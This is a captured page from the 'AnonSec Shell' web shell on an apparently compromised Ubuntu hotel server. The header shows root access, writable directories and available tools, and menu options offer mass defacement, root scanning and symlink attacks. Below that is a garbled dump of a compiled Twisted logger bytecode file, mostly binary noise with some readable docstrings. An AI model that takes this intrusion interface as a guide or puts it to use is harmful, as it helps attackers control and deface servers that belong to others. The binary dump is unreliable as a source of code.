AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/twisted/logger/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/twisted/logger/__pycache__/_logger.cpython-310.pyc
o

�b�&�@s|dZddlmZddlmZmZmZddlmZddlm	Z	ddl
mZmZddl
mZmZGd	d
�d
�Ze�Zdd�Zd
S)z
Logger class.
�)�time)�Any�Optional�cast)�currentframe)�Failure�)�ILogObserver�LogTrace)�InvalidLogLevelError�LogLevelc@sReZdZdZedefdd��Z			d$deedeeded	ddfd
d�Z	d%ded
ee
ddfdd�Zdefdd�Z	d%de
deededdfdd�Zde
jfdedeede
deddf
dd�Zd%deededdfdd�Zd%deededdfdd�Zd%deededdfdd�Zd%deededdfd d!�Zd%deededdfd"d#�ZdS)&�Loggera~
    A L{Logger} emits log messages to an observer.  You should instantiate it
    as a class or module attribute, as documented in L{this module's
    documentation <twisted.logger>}.

    @ivar namespace: the namespace for this logger
    @ivar source: The object which is emitting events via this logger
    @ivar observer: The observer that this logger will send events to.
    �returncCs,ztttd�jd�WStyYdSw)z�
        Derive a namespace from the module containing the caller's caller.

        @return: the fully qualified python name of a module.
        ��__name__z	<unknown>)r�strr�	f_globals�KeyError�rr�8/usr/lib/python3/dist-packages/twisted/logger/_logger.py�_namespaceFromCallingContexts
�z#Logger._namespaceFromCallingContextN�	namespace�source�observerr	cCsD|dur|��}||_||_|durddlm}||_dS||_dS)a3
        @param namespace: The namespace for this logger.  Uses a dotted
            notation, as used by python modules.  If not L{None}, then the name
            of the module of the caller is used.
        @param source: The object which is emitting events via this
            logger; this is automatically set on instances of a class
            if this L{Logger} is an attribute of that class.
        @param observer: The observer that this logger will send events to.
            If L{None}, use the L{global log publisher <globalLogPublisher>}.
        Nr)�globalLogPublisher)rrr�_globalrr)�selfrrrrrrr�__init__)s

zLogger.__init__�instance�ownercCs>|dusJ�|dur
|}n|}|jd�|j|jg�||jd�S)a�
        When used as a descriptor, i.e.::

            # File: athing.py
            class Something:
                log = Logger()
                def hello(self):
                    self.log.info("Hello")

        a L{Logger}'s namespace will be set to the name of the class it is
        declared on.  In the above example, the namespace would be
        C{athing.Something}.

        Additionally, its source will be set to the actual object referring to
        the L{Logger}.  In the above example, C{Something.log.source} would be
        C{Something}, and C{Something().log.source} would be an instance of
        C{Something}.
        N�.)r)�	__class__�join�
__module__rr)rrrrrrr�__get__Fs�zLogger.__get__cCsd|jj�d|j�d�S)N�<� �>)r!rr)rrrr�__repr__fszLogger.__repr__�level�format�kwargscKsz|t��vr|jdtt|��||d�dS|}|j|||j|j|t�d�d|vr6t	t
|d��||jf�|�|�dS)a
        Emit a log event to all log observers at the given level.

        @param level: a L{LogLevel}
        @param format: a message format using new-style (PEP 3101)
            formatting.  The logging event (which is a L{dict}) is
            used to render this format string.
        @param kwargs: additional key/value pairs to include in the event.
            Note that values which are later mutated may result in
            non-deterministic behavior from observers that schedule work for
            later execution.
        z:Got invalid log level {invalidLevel!r} in {logger}.emit().)�invalidLevel�loggerN)�
log_logger�	log_level�
log_namespace�
log_source�
log_format�log_time�	log_trace)
r�
iterconstants�failurerr�updaterrrrr
�appendr)rr)r*r+�eventrrr�emitis(
��	zLogger.emitr6cKs*|durt�}|j||fd|i|��dS)a2
        Log a failure and emit a traceback.

        For example::

            try:
                frob(knob)
            except Exception:
                log.failure("While frobbing {knob}", knob=knob)

        or::

            d = deferredFrob(knob)
            d.addErrback(lambda f: log.failure("While frobbing {knob}",
                                               f, knob=knob))

        This method is generally meant to capture unexpected exceptions in
        code; an exception that is caught and handled somehow should be logged,
        if appropriate, via L{Logger.error} instead.  If some unknown exception
        occurs and your code doesn't know how to handle it, as in the above
        example, then this method provides a means to describe the failure in
        nerd-speak.  This is done at L{LogLevel.critical} by default, since no
        corrective guidance can be offered to an user/administrator, and the
        impact of the condition is unknown.

        @param format: a message format using new-style (PEP 3101) formatting.
            The logging event (which is a L{dict}) is used to render this
            format string.
        @param failure: a L{Failure} to log.  If L{None}, a L{Failure} is
            created from the exception in flight.
        @param level: a L{LogLevel} to use.
        @param kwargs: additional key/value pairs to include in the event.
            Note that values which are later mutated may result in
            non-deterministic behavior from observers that schedule work for
            later execution.
        N�log_failure)rr:)rr*r6r)r+rrrr6�s+zLogger.failurecK�|jtj|fi|��dS)a�
        Emit a log event at log level L{LogLevel.debug}.

        @param format: a message format using new-style (PEP 3101) formatting.
            The logging event (which is a L{dict}) is used to render this
            format string.

        @param kwargs: additional key/value pairs to include in the event.
            Note that values which are later mutated may result in
            non-deterministic behavior from observers that schedule work for
            later execution.
        N)r:r�debug�rr*r+rrrr=��
zLogger.debugcKr<)a�
        Emit a log event at log level L{LogLevel.info}.

        @param format: a message format using new-style (PEP 3101) formatting.
            The logging event (which is a L{dict}) is used to render this
            format string.

        @param kwargs: additional key/value pairs to include in the event.
            Note that values which are later mutated may result in
            non-deterministic behavior from observers that schedule work for
            later execution.
        N)r:r�infor>rrrr@�r?zLogger.infocKr<)a�
        Emit a log event at log level L{LogLevel.warn}.

        @param format: a message format using new-style (PEP 3101) formatting.
            The logging event (which is a L{dict}) is used to render this
            format string.

        @param kwargs: additional key/value pairs to include in the event.
            Note that values which are later mutated may result in
            non-deterministic behavior from observers that schedule work for
            later execution.
        N)r:r�warnr>rrrrA�r?zLogger.warncKr<)a�
        Emit a log event at log level L{LogLevel.error}.

        @param format: a message format using new-style (PEP 3101) formatting.
            The logging event (which is a L{dict}) is used to render this
            format string.

        @param kwargs: additional key/value pairs to include in the event.
            Note that values which are later mutated may result in
            non-deterministic behavior from observers that schedule work for
            later execution.
        N)r:r�errorr>rrrrB�r?zLogger.errorcKr<)a�
        Emit a log event at log level L{LogLevel.critical}.

        @param format: a message format using new-style (PEP 3101) formatting.
            The logging event (which is a L{dict}) is used to render this
            format string.

        @param kwargs: additional key/value pairs to include in the event.
            Note that values which are later mutated may result in
            non-deterministic behavior from observers that schedule work for
            later execution.
        N)r:r�criticalr>rrrrC�r?zLogger.critical)NNN�N)rr#�__qualname__�__doc__�staticmethodrrr�objectr�typer$r(rr:rCrr6r=r@rArBrrrrr
s\

����
� ����
�*�����
�0 r
cCst�||j�SrD)�_logr$r!)�objrrr�<lambda>
srLN)rFr�typingrrr�twisted.python.compatr�twisted.python.failurer�_interfacesr	r
�_levelsrrr
rJ�
_loggerForrrrr�<module>s{

Anon7 - 2022
AnonSec Team